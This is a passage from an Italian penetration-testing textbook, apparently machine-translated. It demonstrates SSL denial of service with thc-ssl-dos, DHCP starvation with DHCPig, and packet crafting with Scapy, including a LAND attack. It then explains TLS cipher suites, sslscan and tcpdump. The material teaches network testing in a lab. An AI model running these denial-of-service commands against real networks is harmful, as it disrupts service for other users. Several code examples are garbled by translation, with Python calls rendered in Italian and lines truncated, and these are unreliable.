problema è che alcuni di questi programmi superati da tempo sono ancora
in servizio in molti posti. Di conseguenza, è ancora importante poterli
testare. Uno di questi servizi è la crittografia SSL. L'ultimo programma di
test denial-of-service che esamineremo qui ha come target i server che
utilizzano SSL. SSL non dovrebbe più essere in uso, essendo stato
soppiantato da una tecnologia che non ha le vulnerabilità che aveva SSL,
ma questo non significa che non ne incontrerai uno. Il programma thc-ssldos ha come target i server basandosi sull'idea che la crittografia sia
computazionalmente costosa, specialmente sul lato server.
L'esempio 2-10 mostra un'esecuzione di thc-ssl-dos su un server che è
stato configurato per usare SSL. Tuttavia, i problemi con SSL sono noti da
così tanto tempo che le librerie sottostanti spesso hanno SSL disabilitato.
Nonostante l'esecuzione su un'installazione precedente, puoi vedere che il
programma non è stato in grado di ottenere un handshake SSL completo.
Tuttavia, se dovessi trovare un server che ha SSL configurato, saresti in
grado di testare se è vulnerabile a un diniego di servizio.
Esempio 2-10. SSL DoS utilizzando l'utilità thc-ssl-dos
root@rosebud:~# thc-ssl-dos -l 100 192.168.86.239
______________ ___ _________
\__ ___/ | \ \_ ___ \
| | / ~ \/ \ \/
| | \ E /\ \____
|____| \___|_ / \______ / \/ \/
http://www.thc.org Twitter
@hackerschoice
Greetingz: l'underground francese
Aspettando che gli sceneggiatori si
incazzino..........
La forza è con coloro che leggono la fonte...
Strette di mano 0 [0,00 h/s], 1 Conn, 0 Err
SSL: errore:140770FC:routine SSL:SSL23_GET_SERVER
#0: Non sembra SSL!
Questo fallimento evidenzia una delle sfide dei test di sicurezza: trovare
vulnerabilità può essere difficile. Anche sfruttare vulnerabilità note può
essere difficile. Questo è uno dei motivi per cui gli attacchi moderni usano
comunemente l'ingegneria sociale per sfruttare gli esseri umani e la loro
tendenza alla fiducia e comportamenti che possono portare allo
sfruttamento: spesso sfruttare vulnerabilità tecniche è più difficile che
manipolare le persone. Ciò non significa che questi problemi non umani
non siano possibili, dato il numero di vulnerabilità scoperte e annunciate
regolarmente . Vedere Bug traq e il progetto Common Vulnerabilities and
Exposures per le prove di ciò.
Attacchi DHCP
Il Dynamic Host Configuration Protocol (DHCP) ha un programma di test
chiamato DHCPig , che è un altro attacco di consumo, progettato per
esaurire le risorse disponibili in un server DHCP. Questo è talvolta
chiamato attacco di fame DHCP , poiché l'obiettivo è rendere impossibile
per altri consumatori "mangiare" dal server DHCP. Poiché il server DHCP
distribuisce indirizzi IP e altre configurazioni IP, sarebbe un problema per le
aziende se i loro dipendenti non fossero in grado di ottenere indirizzi.
Sebbene non sia raro che il server DHCP distribuisca indirizzi con lunghi
contratti di locazione (il periodo di tempo in cui un client può utilizzare
l'indirizzo senza doverlo rinnovare), molti server DHCP hanno tempi di
locazione brevi. Un breve periodo di locazione è importante quando tutti
sono in movimento. Poiché gli utenti entrano ed escono dalla rete
regolarmente, a volte rimanendo per brevi periodi di tempo, avere client
che mantengono i contratti di locazione può anche consumare quelle
risorse. Ciò significa, tuttavia, che quando i client hanno contratti di
locazione brevi, uno strumento come DHCPig può afferrare i contratti di
locazione in scadenza prima che il client possa ottenerli, lasciando i client
al freddo senza un indirizzo e incapaci di fare nulla sulla rete. Per eseguire
DHCPig basta eseguire lo script Python dhcpig e specificare l'interfaccia
presente sulla rete su cui si desidera effettuare il test.
In termini pratici, un attacco DHCP starvation può essere utilizzato da un
aggressore per ottenere il controllo del traffico di rete. L'aggressore lancia
un attacco DHCP starvation, consumando tutto il traffico disponibile
Indirizzi IP. Allo stesso tempo, l'attaccante avvia il proprio server DHCP che
forse indirizza i sistemi a un server DNS controllato dall'attaccante. Forse
indirizza il router predefinito a un sistema controllato dall'attaccante,
quindi tutto il traffico di rete che va fuori dalla rete passerà attraverso il
sistema dell'attaccante. Nell'esempio 2-11 , puoi vedere l'uso di dhcpig per
consumare tutti i lease disponibili dal server DHCP locale.
Esempio 2-11. Utilizzo di dhcpig
┌──(kilroy@badmilo)-[~]
└─$ sudo dhcpig -l eth0
[ -- ] [INFO] - utilizzando l'interfaccia eth0
[DBG ] Thread 0 - (Sniffer) PRONTO
[DBG ] Thread 1 - (Mittente) PRONTO
[--->] DHCP_Scopri
[ ?? ] in attesa della prima risoluzione del
server DHCP
[ ?? ] in attesa della prima risoluzione del
server DHCP
Utilizzo di Scapy per creare pacchetti
Se stai cercando un accesso programmatico completo alla creazione di
pacchetti di rete, puoi usare lo strumento Scapy . Questa libreria fornisce
l'accesso ai protocolli di rete in modo da poter creare un pacchetto con
l'aspetto che desideri. Mentre puoi usare Scapy per scrivere script Python,
puoi anche usare l'interfaccia a riga di comando con lo strumento Scapy.
Puoi scrivere Python nello strumento Scapy in tempo reale, il che significa
che viene eseguito mentre lo scrivi. L'esempio 2-12 mostra l'uso di Scapy
per creare un segmento TCP su un pacchetto IP poiché Scapy ti consente di
sovrapporre la creazione dei messaggi. Una volta definito il pacchetto, puoi
inviarlo, ma ci sono diversi modi per inviarlo. Ne vedrai tre nell'esempio 212 .
Esempio 2-12. Utilizzo di Scapy
>>> p=IP(dst="192.168.1.1", ttl=2, id=15)/TCP(seq
...: ), dport=RandShort())
>>> invia(p)
.
Inviati 1 pacchetti.
>>> sr(p)
Inizio
emissione:
Completato l'invio di 1 pacchetto.
*
Ricevuto 1 pacchetto, ottenuto 1 risposta,
rimanenti 0 pa
(<Risultati: TCP:1 UDP:0 ICMP:0 Altro:0>,
<Senza risposta: TCP:0 UDP:0 ICMP:0 Altro:0>)
>>> sr1(p)
Inizio
emissione:
Completato l'invio di 1 pacchetto.
*
Ricevuti 1 pacchetti, ottenuti 1 risposta,
rimanenti 0 pa <versione IP=4 ihl=5 tos=0x0
len=40 id=40192 flag chksum=0xcbf3
src=192.168.1.1 dst=192.168.79.138 seq=2570441854
ack=913161814 dataofs=5 riservato=0 chksum=0x1425
urgptr=0 |<carico di riempimento='\x00\x00\
Poiché stiamo utilizzando un'interfaccia programmatica, non siamo limitati
a usare solo valori numerici per campi diversi. Invece, possiamo generare
valori casuali. Questo esempio usa valori casuali sulle porte TCP di origine e
destinazione, che probabilmente non sono pacchetti preziosi da creare e
inviare, ma dimostrano l'uso della generazione di valori casuali. Abbiamo la
possibilità di generare interi completi, oppure possiamo generare interi
corti, che sarebbero necessari se avessimo una dimensione di campo di 16
bit, come quella per il valore della porta. Come indicato, abbiamo il
controllo su tutti i campi nei protocolli. Questo non mostra il livello
Ethernet, ma potremmo aggiungerlo se volessimo. Ad esempio, potresti
impostare l'indirizzo MAC sul sistema su cui vuoi impostarlo ma cambiare
l'indirizzo IP per vedere come il sistema lo gestisce.
Quando si tratta di inviare e ricevere, puoi semplicemente inviarlo, come
puoi vedere nel primo esempio di invio . Puoi anche usare la funzione sr ,
che significa invia e ricevi, ma non ottieni i dettagli dalla risposta. Infine, sr1
è la funzione usata se vuoi vedere i dettagli completi del pacchetto dal
messaggio ricevuto dopo l'invio. Questo presuppone che otterrai
effettivamente una risposta, a seconda del tipo di pacchetto che hai creato.
Con la funzione di invio , puoi anche aggiungere un parametro loop per
dire a scapy che vuoi che il pacchetto venga inviato finché non digiti un
carattere Ctrl-C per interromperlo. Per il nostro pacchetto, p , puoi inviarlo
con un loop con send(p, loop=1) .
Poiché abbiamo il controllo completo sul pacchetto e sui suoi parametri,
possiamo anche manipolare sia l'indirizzo IP di origine che quello di
destinazione, come mostrato nell'Esempio 2-13 , dove ricreiamo l'attacco
LAND a cui si è fatto riferimento in precedenza. In questo caso, non
riceviamo risposta, come puoi vedere. Questo perché l'indirizzo IP di
origine non è il nostro indirizzo e lo stack di rete sul sistema ricevente lo sta
inviando al sistema che ha quell'indirizzo IP.
Esempio 2-13. Utilizzo di Scapy per un attacco LAND
>>> p=IP(dst="192.168.1.1", src="192.168.1.1")/TC
>>> sr1(p)
Inizio
emissione:
Completato l'invio di 1 pacchetto.
................................................
................................................
................................................
.................................................
..
.................................................
..
................................................
.................................................
..
Ricevuti 548 pacchetti, 0 risposte, rimanente 1
Naturalmente, puoi anche usare scapy per inviare messaggi legittimi e
gestisce molti protocolli. Poiché un protocollo comune è HTTP, possiamo
usare scapy per creare una richiesta web e inviarla. L'esempio 2-14 mostra
due approcci. Il primo è usare un socket direttamente con il testo HTTP da
inviare. Viene aggiunto alla sintassi di creazione del pacchetto che hai visto
prima. In altre parole, il testo viene semplicemente aggiunto come
payload. Il secondo approccio è caricare il livello http in modo da poter
usare i metodi HTTP. Creeremo una richiesta usando HTTP/HTTPRequest ,
che crea tutti i dati necessari di cui abbiamo bisogno. Non abbiamo
aggiunto alcun parametro a HTTPRequest , anche se potremmo usare
Method , che di default è GET, così come Path , per specificare quale risorsa
vogliamo recuperare dal server.
Esempio 2-14. Utilizzo di Scapy per i messaggi HTTP
>>> p = IP(dst="192.168.1.15")/TCP()/"GET / HTTP/
>>> reply = sr1(p)
Inizio emissione:
Completato l'invio di 1 pacchetto.
*
Ricevuto 1 pacchetto, ottenuto 1 risposta,
rimanenti 0 pa
>>> stampa(rispondi)
Indirizzo IP/TCP 192.168.1.15:http >
192.168.79.138:ftp_d
>>> carica_livello("http")
>>> richiesta = HTTP()/RichiestaHTTP()
>>> socket = TCP_client.tcplink(HTTP, "192.168.1
>>> risposta = socket.sr1(richiesta)
Begin emission:
Finished sending 1 packets.
Questo sfiora appena la superficie di ciò che è possibile con scapy . Come
già detto, questo ci fornisce modi semplici per programmare messaggi di
rete, ottenendo il pieno controllo sui diversi elementi dei protocolli.
Potresti facilmente inviare messaggi interrotti usando scapy . Ad esempio,
non devi usare una richiesta standard nota ai server HTTP. Puoi creare il
tuo verbo di richiesta, solo per vedere come il server risponde. Quando si
tratta di protocolli basati su binari come IP o TCP, dove il protocollo è
chiaramente bloccato da sequenze di byte, sarai limitato in ciò che puoi
inviare. Non saresti in grado di inviare AAAAAAAAAAA nell'indirizzo di
destinazione. Innanzitutto, l' indirizzo di destinazione per IPv4 è di soli 4
byte. Stiamo cercando di inviare 11 byte, che riempiranno l'indirizzo di
destinazione con 41414141. Ciò si traduce in 65.65.65.65. Non ne
ricaviamo molto. Ogni byte supporterà solo valori da 0 a 255, quindi è
necessario essere un po' creativi se si desidera giocare con questi protocolli
basati su binari.
Test di crittografia
Abbiamo la possibilità di crittografare il traffico sulle connessioni Internet
da oltre 20 anni. La crittografia, come tante altre cose correlate alla
sicurezza informatica, è un obiettivo in movimento. Quando la prima
versione di SSL è stata rilasciata da Netscape nel 1995, una versione era già
stata scartata a causa di problemi identificati. La seconda versione non è
durata a lungo prima che i problemi identificati costringessero a una terza
versione, rilasciata l'anno successivo, nel 1996. Sia SSLv2 che SSLv3 sono
stati dichiarati proibiti a causa dei problemi con il modo in cui gestiscono la
crittografia.
Il traffico di rete crittografato segue un processo che non è semplice come
prendere un messaggio, crittografarlo e inviarlo, anche se questa è una
parte del processo complessivo. La crittografia si basa sulle chiavi. La parte
più sensibile di qualsiasi processo di crittografia è sempre la chiave. Un
messaggio crittografato è prezioso solo se può essere decrittografato,
ovviamente. Se dovessi inviarti un messaggio crittografato, avresti bisogno
della chiave per poterlo decrittografare. È qui che inizia la sfida.
Esistono due modi per gestire le chiavi. Il primo è la crittografia
asimmetrica . Questa utilizza due chiavi, una per la crittografia e una per la
decrittografia. Potresti anche sentirla chiamare crittografia a chiave
pubblica . L'idea è che tutti abbiano due chiavi: una chiave pubblica e una
chiave privata. La chiave pubblica è qualcosa che tutti possono avere.
Infatti, funziona solo se tutti hanno la possibilità di accedere alla chiave
pubblica di tutti gli altri. Crittografare un messaggio utilizzando una chiave
pubblica significa che il messaggio può essere decrittografato solo
utilizzando la chiave privata. Le due chiavi sono matematicamente
correlate e basate su calcoli che utilizzano numeri grandi. Tutto questo
sembra un approccio ragionevole, giusto? Il problema con la crittografia
asimmetrica è che è computazionalmente difficile.
Questo ci porta alla crittografia simmetrica . Come avrai intuito, questa
utilizza una sola chiave. La stessa chiave crittografa e decrittografa. La
crittografia a chiave simmetrica è più semplice dal punto di vista
computazionale. Tuttavia, la crittografia a chiave simmetrica presenta due
problemi. Il primo è che più a lungo viene utilizzata una chiave simmetrica,
più è vulnerabile agli attacchi. Il motivo è che un aggressore può
raccogliere un grande volume di testo cifrato (il risultato dell'immissione di
testo normale in un algoritmo di crittografia) e iniziare a eseguire analisi su
di esso nella speranza di ricavare la chiave. Una volta identificata la chiave,
qualsiasi traffico crittografato con quella chiave può essere facilmente
decrittografato.
Il secondo e più importante problema è che, una volta che abbiamo una
chiave, come possiamo ottenerla entrambi? Questo funziona, dopotutto,
solo se entrambi abbiamo la chiave. Quindi, come possiamo avere
entrambi la chiave se non siamo fisicamente vicini? E se siamo fisicamente
vicini, dobbiamo crittografare i messaggi tra di noi? Potremmo esserci
incontrati a un certo punto e aver condiviso la chiave, ma ciò significa che
siamo bloccati a usare la chiave finché non ci incontreremo di nuovo e
potremo creare una nuova chiave in modo che ce l'abbiamo entrambi. Più
a lungo utilizziamo la stessa chiave senza incontrarci di nuovo, arriviamo al
problema n. 1 notato in precedenza.
A quanto pare, due matematici hanno risolto questo problema, anche se
non sono stati i primi. Sono stati solo i primi a poter pubblicare il loro
lavoro. Quelli il cui lavoro è arrivato per primi hanno lavorato per agenzie
governative che proibivano loro di condividere il lavoro che stavano
facendo con chiunque. Whitfield Diffie e Martin Hellman hanno avuto
l'idea di far derivare la chiave in modo indipendente da entrambe le parti.
In sostanza, entrambi partiamo da un valore condiviso. Questo valore può
essere condiviso in modo sicuro senza crittografia perché è ciò che gli
accade dopo che conta. Entrambi prendiamo questo valore iniziale e
applichiamo un valore segreto usando una formula matematica che
entrambi conosciamo. Di nuovo, non importa se questo è pubblico perché
è il valore segreto che conta. Condividiamo reciprocamente il risultato dei
nostri calcoli individuali e poi riapplichiamo i nostri valori segreti al
risultato dell'altro. In questo modo, avremo entrambi attraversato lo stesso
processo matematico da un singolo punto di partenza, quindi alla fine
avremo entrambi la stessa chiave.
Il motivo per cui si esamina tutto questo è che in pratica vengono utilizzati
tutti questi meccanismi. Lo scambio di chiavi Diffie-Hellman viene utilizzato
insieme alla crittografia a chiave pubblica per derivare una chiave di
sessione, che è una chiave simmetrica. Ciò significa che la sessione utilizza
una chiave e un algoritmo meno intensivi dal punto di vista
computazionale per svolgere il lavoro pesante di crittografia e
decrittografia della maggior parte della comunicazione tra il server e il
client.
Come notato in precedenza, SSL non è più utilizzato come protocollo
crittografico. Al suo posto, TLS è il protocollo corrente utilizzato. Ha
attraversato alcune versioni, dimostrando ancora una volta le sfide della
crittografia. La versione corrente è 1.3, mentre 1.4 è in fase di bozza al
momento della stesura di questo articolo. Ogni versione introduce
correzioni e aggiornamenti basati sulla continua ricerca sulla violazione del
protocollo.
Un modo per determinare se un server che stai testando sta utilizzando
protocolli obsoleti è usare uno strumento come sslscan . Questo
programma sonda il server per identificare eventuali algoritmi di
crittografia in uso. È facile da determinare, perché come parte
dell'handshake con il server, fornirà un elenco di cifrari supportati tra cui il
client può scegliere. Quindi, tutto ciò che sslscan deve fare è avviare una
sessione crittografata con il server per ottenere tutte le informazioni
necessarie. L'esempio 2-15 mostra i risultati del test di un server Apache
con crittografia configurata.
Esempio 2-15. Esecuzione di sslscan su un sistema locale
┌──(kilroy@badmilo)-[~]
└─$ scansione ssls 192.168.1.15
Versione: 2.0.16-static
OpenSSL 1.1.1u-dev xx XXX xxxx
Connesso a 192.168.1.15 Test del server SSL
192.168.1.15 sulla porta 443 utilizzando
Protocolli SSL/TLS:
SSLv2 disabilitato
SSLv3 disabilitato
TLSv1.0 disabilitato
TLSv1.1 disabilitato
TLSv1.2 abilitato
TLSv1.3 abilitato
SCSV di fallback TLS:
Il server supporta TLS Fallback SCSV
Rinegoziazione TLS:
La rinegoziazione della sessione non è supportata
Compressione TLS:
Compressione disabilitata
Sanguinamento del cuore:
TLSv1.3 non è vulnerabile a heartbleed
TLSv1.2 non è vulnerabile a heartbleed
Cifratura(e) del server supportata(e):
TLSv1.3 preferito 256 bit TLS_AES_256_GCM_SHA3
Accettato TLSv1.3 256 bit TLS_CHACHA20_POLY130
TLSv1.3 accettato 128 bit TLS_AES_128_GCM_SHA2
TLSv1.2 preferito 256 bit ECDHE-RSA-AES256-GCM
Accettato TLSv1.2 256 bit DHE-RSA-AES256-GCM-S
Accettato TLSv1.2 256 bit ECDHE-RSA-CHACHA20-P
TLSv1.2 accettato 256 bit DHE-RSA-CHACHA20-POL
Accettato TLSv1.2 256 bit DHE-RSA-AES256-CCM8
Accettato TLSv1.2 256 bit DHE-RSA-AES256-CCM
Accettato TLSv1.2 256 bit ECDHE-ARIA256-GCM-SH
Accettato TLSv1.2 256 bit DHE-RSA-ARIA256-GCM
Accettato TLSv1.2 128 bit ECDHE-RSA-AES128-GCM
Accettato TLSv1.2 128 bit DHE-RSA-AES128-SHA
Accettato TLSv1.2 128 bit DHE-RSA-CAMELLIA128
Accettato TLSv1.2 256 bit AES256-GCM-SHA384
Accettato TLSv1.2 256 bit AES256-CCM8
Accettato TLSv1.2 256 bit AES256-CCM
Accettato TLSv1.2 256 bit ARIA256-GCM-SHA384
Gruppo/i di scambio chiavi del server:
TLSv1.3 128 bit secp256r1 (NIST P-256)
TLSv1.3 192 bit secp384r1 (NIST P-384)
TLSv1.3 260 bit secp521r1 (NIST P-521)
TLSv1.3 128 bit x25519
TLSv1.3 224 bit x448
TLSv1.3 112 bit ffdhe2048
TLSv1.3 128 bit ffdhe3072
TLSv1.3 150 bit ffdhe4096
TLSv1.3 175 bit ffdhe6144
TLSv1.3 192 bit ffdhe8192
TLSv1.2 128 bit secp256r1 (NIST P-256)
TLSv1.2 192 bit secp384r1 (NIST P-384)
TLSv1.2 260 bit secp521r1 (NIST P-521)
TLSv1.2 128 bit x25519
TLSv1.2 224 bit x448
Certificato SSL:
Algoritmo di firma: sha256WithRSAEncryption
Forza della chiave RSA: 2048
Oggetto: portnoy.washere.com
Emittente: portnoy.washere.com
Non valido prima del: 17 giu 21:32:45 2023 GMT
Non valido dopo: 16 giu 21:32:45 2024 GMT
sslscan determinerà se il server è vulnerabile a Heartbleed, una
vulnerabilità che è stata identificata e ha preso di mira la crittografia
server/client, portando all'esposizione delle chiavi a utenti malintenzionati.
Ma la cosa più importante è che sslscan ci fornirà l'elenco dei cifrari
supportati. Nell'elenco etichettato "Cifrari server supportati" che è stato
modificato per lunghezza, vedrai più colonne con informazioni che
potrebbero non significare molto per te. La prima colonna è facilmente
leggibile. Indica se il protocollo e la suite di cifratura sono accettati e se
sono preferiti. La prima suite di cifratura preferita è per TLS versione 1.3
con una chiave Advanced Encryption Standard (AES) a 256 bit. Noterai che
ogni versione di TLS ha la sua suite di cifratura preferita. Sono in uso solo
due versioni di TLS, quindi ci sono solo due cifrari preferiti. La seconda
colonna è il protocollo e la versione. SSL non è abilitato su questo server, a
causa della rimozione del supporto per SSL dalle librerie sottostanti. La
colonna successiva è la forza della chiave.
NOTA
Le dimensioni delle chiavi non possono essere confrontate se non all'interno dello stesso algoritmo.
Rivest-ShamirAdleman (RSA) è un algoritmo di crittografia asimmetrico e ha dimensioni delle chiavi
che sono multipli di 1.024. AES è un algoritmo di crittografia simmetrico e ha dimensioni delle chiavi di
128 e 256. Ciò non significa che RSA sia ordini di grandezza più forte di AES, perché usano la chiave in
modi diversi. Anche confrontare algoritmi dello stesso tipo (asimmetrico rispetto a simmetrico) è
fuorviante perché gli algoritmi useranno le chiavi in modi completamente diversi.
La colonna successiva è la suite di cifratura. Noterai che è chiamata suite di
cifratura perché tiene conto di più algoritmi che hanno scopi diversi.
Prendiamo questo elenco come esempio: DHE-RSA-AES256-GCM-SHA384.
La prima parte, DHE, indica che stiamo usando Ephemeral Diffie-Hellman
per lo scambio di chiavi. La seconda parte è RSA, che, come detto, sta per
RivestShamir-Adleman, i tre uomini che hanno sviluppato l'algoritmo. RSA
è un algoritmo a chiave asimmetrica. Questo viene utilizzato per
autenticare le parti, poiché le chiavi sono archiviate in certificati che
includono anche informazioni di identificazione sul server. Se anche il client
ha un certificato, è possibile l'autenticazione reciproca. Altrimenti, il client
può autenticare il server in base al nome host a cui il client intendeva
andare e al nome host elencato nel certificato. La crittografia asimmetrica
viene utilizzata anche per crittografare le chiavi che vengono inviate tra il
client e il server.
NOTA
Utilizzo molto le parole client e server in questa discussione, ed è utile per voi capirne il significato. In
qualsiasi conversazione su una rete, c'è sempre un client e un server. Anche nelle reti peer-to-peer, c'è
un client e un server per indicare quale parte ha avviato il traffico (il client) e quale sta ricevendo la
connessione (il server). Ciò non significa che un server effettivo si trovi in un data center o che un
servizio sia dedicato all'ascolto delle richieste del client. Significa invece che c'è un servizio che viene
consumato. Il client è sempre la parte che origina la conversazione e il server è sempre quello che
risponde. Ciò rende facile "vedere" le due parti: chi ha originato e chi ha risposto all'originazione.
La parte successiva è l'algoritmo di crittografia simmetrica. Ciò suggerisce
che l'AES viene offerto con una dimensione della chiave di 256 bit. Vale la
pena notare qui che l'AES non è un algoritmo in sé, ma uno standard.
L'algoritmo ha un suo nome. Per decenni, lo standard in uso è stato il Data
Encryption Standard (DES), basato sul cifrario Lucifer sviluppato presso IBM
da Horst Feistel e dai suoi colleghi. Negli anni '90 è stato determinato che il
DES era un po' vecchio e che presto sarebbe stato violabile. È stata
intrapresa una ricerca per un nuovo algoritmo, che ha portato alla
selezione dell'algoritmo Rijndael come base per l'AES. Inizialmente, l'AES
utilizzava una dimensione della chiave di 128 bit. Solo relativamente di
recente la forza della chiave è stata comunemente aumentata a 256.
AES è l'algoritmo utilizzato per crittografare la sessione. Ciò significa che
viene utilizzata una chiave a 256 bit per la chiave di sessione. È la chiave
che è stata derivata e condivisa all'inizio della sessione. Se la sessione
dovesse durare abbastanza a lungo, la chiave di sessione potrebbe essere
rigenerata per proteggere dagli attacchi di derivazione della chiave. Come
notato in precedenza, la chiave viene utilizzata da entrambe le parti della
conversazione per la crittografia e la decrittografia.
La parte GCM è Galois/Counter Mode, che è un modo in cui i cifrari a
blocchi operano per fornire integrità e riservatezza dei dati. I dati
crittografati sono associati a un tag che viene generato al momento della
crittografia dei dati. Questo tag viene utilizzato per verificare che né i dati
né il tag siano stati manomessi in alcun modo.
Infine, noterai l'algoritmo SHA-384. Questo è il Secure Hash Algorithm
(SHA) che utilizza 384 bit per la lunghezza del valore hash. SHA è un
algoritmo crittografico utilizzato per verificare che nessun dato sia
cambiato. Potresti avere familiarità con l'algoritmo Message Digest 5
(MD5) che fa la stessa cosa. La differenza è la lunghezza dell'output. Con
MD5, la lunghezza dell'output è sempre di 32 caratteri, ovvero 128 bit
(vengono utilizzati solo 4 bit di ogni byte). Questo è stato generalmente
sostituito con SHA-1 o superiore. SHA-1 genera 40 caratteri o 160 bit (di
nuovo, vengono utilizzati solo 4 bit di ogni byte). Nel nostro caso, stiamo
utilizzando SHA384, che genera 96 caratteri esadecimali, poiché sarebbero
48 byte, con ogni byte rappresentato da due caratteri esadecimali.
Indipendentemente dalla lunghezza dei dati, la lunghezza dell'output è
sempre la stessa. Questo valore viene inviato da una parte all'altra per
determinare se i dati sono cambiati. Se anche un solo bit è diverso, il valore
dell'hash, la parola usata per l'output dell'algoritmo SHA o MD5, sarà
diverso.
Tutti questi algoritmi lavorano insieme per creare il protocollo TLS (e in
precedenza SSL). Per ottenere una crittografia efficace che sia protetta da
compromessi, tutti questi algoritmi sono necessari. Dobbiamo essere in
grado di derivare una chiave di sessione. Dobbiamo essere in grado di
autenticare le parti e condividere informazioni utilizzando la crittografia
prima di aver generato la nostra chiave di sessione. Dobbiamo avere una
chiave di sessione e un algoritmo per crittografare e quindi decrittografare i
nostri dati di sessione. Infine, dobbiamo assicurarci che nulla sia stato
manomesso. Ciò che vedi nell'esempio è una raccolta di suite di crittografia
avanzate.
Se vedessi qualcosa come 3DES nell'output, avresti un esempio di server
suscettibile ad attacchi contro la chiave di sessione. Ciò potrebbe causare
la compromissione della chiave, che a sua volta porterebbe il testo cifrato a
essere decifrato in testo normale nelle mani di qualcuno a cui non era
destinato. Inoltre, sebbene sia stato accennato in precedenza, uno
strumento come sslscan può verificare che i protocolli utilizzati non siano
vulnerabili ad attacchi tramite exploit noti.
In rare occasioni potresti vedere NULL al posto di AES384. Ciò significa che
la richiesta è che non venga utilizzata alcuna crittografia. Ci sono delle
ragioni per questo. Potresti non preoccuparti tanto di proteggere il
contenuto delle trasmissioni, ma potresti preoccuparti molto di sapere con
chi stai parlando e che i dati non siano stati modificati durante il transito.
Quindi, chiedi di non utilizzare alcuna crittografia per non incorrere in
alcun sovraccarico dalla crittografia, ma ottieni il vantaggio delle altre parti
della suite di cifratura selezionate.
La guerra sulla crittografia non finisce mai. Anche ora sono in corso
ricerche per identificare vulnerabilità che possono essere sfruttate negli
algoritmi e nei protocolli di crittografia in uso. Noterai differenze nelle suite
elencate nel tuo output di test nel tempo, man mano che iniziano a essere
utilizzate chiavi più forti e vengono sviluppati nuovi algoritmi.
Cattura dei pacchetti
Mentre esegui test di rete, troverai utile poter vedere cosa viene trasmesso
sulla rete. Per vedere cosa viene inviato, dobbiamo usare un programma
che cattura pacchetti. Per essere onesti, però, quello che stiamo facendo è
catturare frame. Il motivo per cui lo dico è che ogni livello dello stack di
rete ha un termine diverso per il bundle di dati che include quel livello.
Tieni presente che le intestazioni vengono aggiunte man mano che ci
spostiamo verso il basso nello stack di rete, quindi l'ultimo set di
intestazioni aggiunte sono le intestazioni di livello 2. L'unità dati di
protocollo (PDU) a quel livello è il frame. Quando arriviamo al livello 3,
stiamo parlando di un pacchetto. Il livello 4 ha datagrammi o segmenti, a
seconda del protocollo utilizzato lì.
Anni fa, catturare i pacchetti era una proposta costosa, perché richiedeva
un'interfaccia di rete speciale che potesse essere messa in modalità
promiscua. Il motivo per cui si chiama così è perché, per impostazione
predefinita, le interfacce di rete guardano l'indirizzo MAC. L'interfaccia di
rete conosce il proprio indirizzo perché è collegata all'hardware. Se
l'indirizzo di un frame in entrata corrisponde all'indirizzo MAC, il frame
viene inoltrato al sistema operativo. Allo stesso modo, se l'indirizzo MAC è
l'indirizzo di broadcast, il frame viene inoltrato. In modalità promiscua, tutti
i nuovi arrivati sono benvenuti. Ciò significa che tutti i frame,
indipendentemente dal fatto che siano indirizzati a questo particolare
sistema o meno, vengono inoltrati al sistema operativo. Essere in grado di
guardare solo i frame indirizzati a quell'interfaccia è prezioso, ma è molto
più prezioso essere in grado di vedere tutti i frame che attraversano
un'interfaccia di rete.
Le interfacce di rete moderne in genere supportano non solo funzionalità
come full duplex e auto-negoziazione, ma anche la modalità promiscua. Ciò
significa che non abbiamo più bisogno di analizzatori di protocollo (come
spesso veniva chiamato l'hardware che poteva svolgere questo lavoro)
perché ogni sistema è in grado di essere un analizzatore di protocollo.
Tutto ciò di cui abbiamo bisogno è sapere come catturare i frame e poi
scrutarli per vedere cosa sta succedendo.
Utilizzo di tcpdump
Mentre altri sistemi operativi hanno avuto altri programmi di cattura
pacchetti, come Solaris aveva snoop , il programma di cattura pacchetti de
facto oggigiorno, specialmente sui sistemi Linux, è tcpdump se tutto ciò
che hai è l'accesso a una riga di comando. Daremo un'occhiata a una GUI
un po' più avanti, ma imparare a conoscere tcpdump ha molto valore. Non
avrai sempre accesso a un desktop completo con una GUI. In molti casi,
avrai solo una console o solo una sessione SSH che puoi usare per eseguire
programmi da riga di comando. Di conseguenza, tcpdump diventerà un
buon amico. Ad esempio, l'ho usato in precedenza per verificare che il
protocollo usato dal nostro programma di test SIP stesse davvero usando
solo UDP e non TCP. Lavorare con tcpdump può aiutarti a capire cosa sta
succedendo a un programma che altrimenti non ti sta dicendo nulla.
Prima di iniziare a esaminare le opzioni, diamo un'occhiata all'output di
tcpdump . Essere in grado di leggere cosa sta accadendo esaminando
l'output richiede un po' di tempo per abituarsi. Quando eseguiamo
tcpdump senza opzioni, otteniamo un breve riepilogo dei pacchetti che
stanno passando. L'esempio 2-16 è un campione dell'output di tcpdump .
Esempio 2-16. Output di tcpdump
10:26:26.543550 IP binkley.lan.57137 > testwifi.h
c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0
10:26:26.555133 IP testwifi.here.domain > binkley
0/1/0 (154)
10:26:26.557367 IP binkley.lan.57872 > testwifi.h
201.86.168.192.in-addr.arpa. (45) 10:26:26.560368
IP testwifi.here.domain > binkley kilroyhue.lan.
(99) 10:26:26.561678 IP binkley.lan.57726 >
testwifi.h
211.1.217.172.in-addr.arpa. (44) 10:26:26.583550
IP testwifi.here.domain > binkley den16s02-inf19.1e100.net., PTR iad23s26-in-f2 den16s02-inf19.1e100.net., PTR iad23s26-in-f2
10:26:26.585725 IP binkley.lan.64437 > testwifi.h
0.0.0.0.in-indirizzo.arpa. (38)
10:26:26.598434 IP testwifi.here.domain > binkley
0/1/0 (106)
10:26:26.637639 IP binkley.lan.51994 > 239.255.25
Il primo pezzo di dati (colonna) in questo output è il timestamp. Questo
non è stato determinato dal pacchetto stesso, poiché l'ora non viene
trasmessa come parte di nessuna delle intestazioni. Ciò che otteniamo è
l'ora come ore, minuti, secondi e frazioni di secondo dopo mezzanotte. In
altre parole, è l'ora del giorno fino a una frazione di secondo. Il secondo
campo è il protocollo di trasporto. Non otteniamo il protocollo di livello 2
perché è determinato dall'interfaccia di rete, quindi è ovvio. Per conoscere
il protocollo di livello 2, è necessario sapere qualcosa sulla propria
interfaccia di rete. Comunemente, il protocollo di livello 2 sarà Ethernet.
Il set di dati successivo è costituito dai due endpoint della conversazione.
Questo include non solo gli indirizzi IP, ma anche le informazioni sulla
porta. Quindi, binkley.lan è la sorgente del primo pacchetto e testwifi.here
è la destinazione. Senza dirgli di non farlo, tcpdump convertirà gli indirizzi
IP in nomi host. Per disabilitare questa funzione, dovresti fornire un -n sulla
riga di comando. Questo velocizzerà la cattura e ridurrà il numero di
